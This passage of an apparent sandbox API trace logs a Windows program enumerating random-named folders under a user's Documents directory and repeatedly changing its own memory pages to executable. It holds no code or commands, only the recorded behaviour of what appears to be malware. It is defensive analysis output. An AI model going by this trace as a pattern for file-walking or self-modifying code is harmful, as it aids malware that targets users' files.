len=0x38 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.") returned 1 [0165.960] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", len=0x38 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.") returned 1 [0165.960] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", len=0x38 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.") returned 1 [0165.960] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", len=0x38 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.") returned 1 [0165.961] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc904fbf0, ftCreationTime.dwHighDateTime=0x1d5e43e, ftLastAccessTime.dwLowDateTime=0x8179dc40, ftLastAccessTime.dwHighDateTime=0x1d5e1f2, ftLastWriteTime.dwLowDateTime=0x8179dc40, ftLastWriteTime.dwHighDateTime=0x1d5e1f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.961] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", len=0x39 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..") returned 1 [0165.961] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", len=0x39 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..") returned 1 [0165.961] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", len=0x39 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..") returned 1 [0165.961] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", len=0x39 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..") returned 1 [0165.961] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", len=0x39 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..") returned 1 [0165.961] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", len=0x39 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..") returned 1 [0165.961] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", len=0x39 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..") returned 1 [0165.962] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb18488e0, ftCreationTime.dwHighDateTime=0x1d5e6c0, ftLastAccessTime.dwLowDateTime=0x85e8ceb0, ftLastAccessTime.dwHighDateTime=0x1d5d8a8, ftLastWriteTime.dwLowDateTime=0x85e8ceb0, ftLastWriteTime.dwHighDateTime=0x1d5d8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3wiKno2U6", cAlternateFileName="3WIKNO~1")) returned 1 [0165.962] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.962] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.962] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.962] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.962] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.962] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.962] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.963] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.963] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.963] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.963] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.963] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.963] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.963] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.963] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6" (normalized: "c:\\users\\aetadzjz\\documents\\z8q_ydu1jaodnbm6rg\\uhxf0nw\\3wikno2u6")) returned 0x10 [0165.964] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.991] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.991] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.991] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.991] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.991] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.991] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.991] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.992] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", cchWideChar=64, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\x09\x04", lpUsedDefaultChar=0x0) returned 64 [0165.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.993] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.994] SysReAllocStringLen (in: pbstr=0x1fd3c0b8*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1fd3c0b8*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0165.994] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c430290, ftCreationTime.dwHighDateTime=0x1d5d9d5, ftLastAccessTime.dwLowDateTime=0x50a84240, ftLastAccessTime.dwHighDateTime=0x1d5e4dc, ftLastWriteTime.dwLowDateTime=0x50a84240, ftLastWriteTime.dwHighDateTime=0x1d5e4dc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8O4HGEn56P", cAlternateFileName="8O4HGE~1")) returned 1 [0165.994] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.994] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.994] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.994] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.994] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.994] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.994] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.995] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.995] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.995] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.995] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.995] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.995] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.995] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.996] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P" (normalized: "c:\\users\\aetadzjz\\documents\\z8q_ydu1jaodnbm6rg\\uhxf0nw\\8o4hgen56p")) returned 0x10 [0165.996] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.996] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.996] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.996] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.996] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.996] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: 